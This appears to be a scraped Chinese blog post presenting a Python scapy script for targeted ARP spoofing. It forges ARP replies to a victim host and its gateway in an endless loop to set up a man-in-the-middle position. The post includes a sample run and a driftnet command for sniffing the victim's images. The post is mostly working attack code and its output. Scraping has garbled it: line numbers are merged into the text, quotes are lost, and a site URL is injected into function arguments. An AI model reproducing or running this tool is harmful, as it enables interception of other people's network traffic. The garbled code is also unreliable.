首页 > 代码库 > 用python编写的定向arp欺骗工具

用python编写的定向arp欺骗工具

  刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包。加了一个-a参数用于进行全网欺骗,先暂不实现。代码如下:

 1 #--*--coding=utf-8--*-- 2  3 from scapy.all import * 4 import optparse 5 import threading 6  7 #解决在linux系统上运行时报的unicode编码相关错误 8 import sys 9 reload(sys)10 sys.setdefaultencoding(utf-8)11 12 13 def getMac(tgtIP):14     ‘‘‘15     调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。16     ‘‘‘17     try:18         tgtMac = getmacbyip(tgtIP)19         return tgtMac20     except:21         print [-]请检查目标IP是否存活 22 23 def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):24     ‘‘‘25     生成ARP数据包,伪造网关欺骗目标计算机26     srcMac:本机的MAC地址,充当中间人27     tgtMac:目标计算机的MAC28     gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击29     tgtIP:目标计算机的IP30     op=2,表示ARP响应31     ‘‘‘32     pkt = Ether(src=http://www.mamicode.com/srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)33     return pkt34 35 def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):36     ‘‘‘37     生成ARP数据包,伪造目标计算机欺骗网关38     srcMac:本机的MAC地址,充当中间人39     gatewayMac:网关的MAC40     tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击41     gatewayIP:网关的IP42     op=2,表示ARP响应43     ‘‘‘44     pkt = Ether(src=http://www.mamicode.com/srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)45     return pkt46 47 48 def main():49     usage = Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a50     parser = optparse.OptionParser(usage,version=v1.0)51     parser.add_option(-t,dest=targetIP,type=string,help=指定目标计算机IP)52     parser.add_option(-g,dest=gatewayIP,type=string,help=指定网关IP)53     parser.add_option(-i,dest=interface,type=string,help=指定使用的网卡)54     parser.add_option(-a,dest=allarp,action=store_true,help=是否进行全网arp欺骗)55     56     options,args = parser.parse_args()57     tgtIP = options.targetIP58     gatewayIP = options.gatewayIP59     interface = options.interface60   61     if tgtIP == None or gatewayIP == None or interface == None:62         print parser.print_help()63         exit(0)64     65     srcMac = get_if_hwaddr(interface)66     print 本机MAC地址是:,srcMac67     tgtMac = getMac(tgtIP)68     print 目标计算机MAC地址是:,tgtMac69     gatewayMac = getMac(gatewayIP)70     print 网关MAC地址是:,gatewayMac71     raw_input(按任意键继续:)72 73 74     pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)75     pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)76 77    78     i = 179     while True:80         t = threading.Thread(target=sendp,args=(pktstation,),kwargs={iface:interface})81         t.start()82         t.join()83         print str(i) +  [*]发送一个计算机ARP欺骗包84        85         s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={iface:interface,})86         s.start()87         s.join()88         print str(i) +  [*]发送一个网关ARP欺骗包89         i += 1       90         91             92 93 if __name__ == __main__:94     main()

验证如下:

 1 # python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0 2 WARNING: No route found for IPv6 destination :: (no default route?) 3 本机MAC地址是: xxx 4 目标计算机MAC地址是:xxx 5 网关MAC地址是: xxx 6 按任意键继续: 7 . 8 Sent 1 packets. 9 1 [*]发送一个计算机ARP欺骗包10 .11 Sent 1 packets.12 1 [*]发送一个网关ARP欺骗包13 .14 Sent 1 packets.15 2 [*]发送一个计算机ARP欺骗包16 .17 Sent 1 packets.18 2 [*]发送一个网关ARP欺骗包19 .20 Sent 1 packets.21 3 [*]发送一个计算机ARP欺骗包22 .23 Sent 1 packets.24 3 [*]发送一个网关ARP欺骗包25 ......

#driftnet -i wlan0

技术分享

 

用python编写的定向arp欺骗工具